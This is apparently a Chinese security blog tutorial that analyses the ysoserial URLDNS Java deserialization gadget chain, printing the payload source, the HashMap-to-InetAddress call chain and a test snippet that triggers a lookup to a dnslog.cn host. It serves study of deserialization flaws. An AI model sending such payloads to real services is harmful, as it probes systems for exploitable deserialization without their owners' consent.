URLDNS Payload不依赖任何的第三方库 , 通过HashMap类的反序列化可以触发DNS查询
先看代码：
public class URLDNS implements ObjectPayload<Object> { public Object getObject(final String url) throws Exception { //Avoid DNS resolution during payload creation //Since the fieldjava.net.URL.handleris transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. return ht; } public static void main(final String[] args) throws Exception { PayloadRunner.run(URLDNS.class, args); } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } }
漏洞验证
参数设置：
运行主函数
验证成功
看到 URLDNS 类的 getObject ⽅法，ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对
象，这个对象就是最后将被序列化的对象，在这⾥是 HashMap 。
类方法声明了反序列化方法private void readObject(java.io.ObjectInputStream s)，这是我们的入口方法
java/util/HashMap.java
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
注意到最后的putVal(hash(key), key, value, false, false);，调用了hash函数计算哈希值。
跟进hash函数
static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
调用了key.hashCode函数，这个方法会根据传入的参数调用，我们传入的是一个URL，那么这个key是⼀个java.net.URL对象。我们看看其 hashCode ⽅法：
java/net/URL.java
public synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }
如果hashCode==-1的话，就会重新计算hashCode，调用handler的hashCode()。
跟进：
java/net/URLStreamHandler.java
protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }
这里跟进getHostAddress方法
protected synchronized InetAddress getHostAddress(URL u) { if (u.hostAddress != null) return u.hostAddress; String host = u.getHost(); if (host == null || host.equals("")) { return null; } else { try { u.hostAddress = InetAddress.getByName(host); } catch (UnknownHostException ex) { return null; } catch (SecurityException se) { return null; } } return u.hostAddress; }
这⾥InetAddress.getByName(host)的作⽤是根据主机名，获取其IP地址，在⽹络上其实就是⼀次DNS查询。
因此整个利用链：
1. HashMap->readObject() 2. HashMap->hash() 3. URL->hashCode() 4. URLStreamHandler->hashCode() 5. URLStreamHandler->getHostAddress() 6. InetAddress->getByName()细节 对序列化过程中DNS查询触发的处理
该链的入口为hash方法，我们发现在HashMap类中的put方法当中就调用了该方法。
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); }
也就是说当我们简单调用put方法就会触发URLDNS链，验证一下
import java.net.MalformedURLException; import java.net.URL; import java.util.HashMap; public class URLDNS { public static void main(String[] args) throws MalformedURLException { HashMap ht = new HashMap(); String url = "http://clnlld.dnslog.cn/"; URL u = new URL(url); ht.put(u,url); } }
注意到Ysoserial里面的URLDNS多了一部分
URLStreamHandler handler = new SilentURLStreamHandler();
根据调用链，最后会调用handler的getHostAddress方法。Ysoserial创建了一个URLStreamHandler的子类：SilentURLStreamHandler，该类重写了getHostAddress()方法，防止put的触发。
如何使得key.hashCode == -1-
URL u = new URL(null, url, handler);
将 URLStreamHandler 对象作为参数 handler 写入到 URL 实例对象中 , 使得反序列化时handler.hashCode()会调用URLStreamHandler.hashCode, 进入 POP Chains .
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Reflections.setFieldValue(u, "hashCode", -1);
当调用HashMap.put()方法后 , key 的 HashMap 值肯定会发生变化 , 而要想执行 POP Chains , 就必须使得key.hashCode == -1. 这里通过Reflections.setFieldValue()方法将key.hashCode强制转为-1.
文章参考：
https://blog.csdn.net/Xxy605/article/details/121288365
https://ego00.blog.csdn.net/article/details/119678492
https://y4tacker.blog.csdn.net/article/details/117235572
https://www.guildhab.top/2020/08/java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e6-%e8%a7%a3%e5%af%86-ysoserial-urldns-pop-chain/
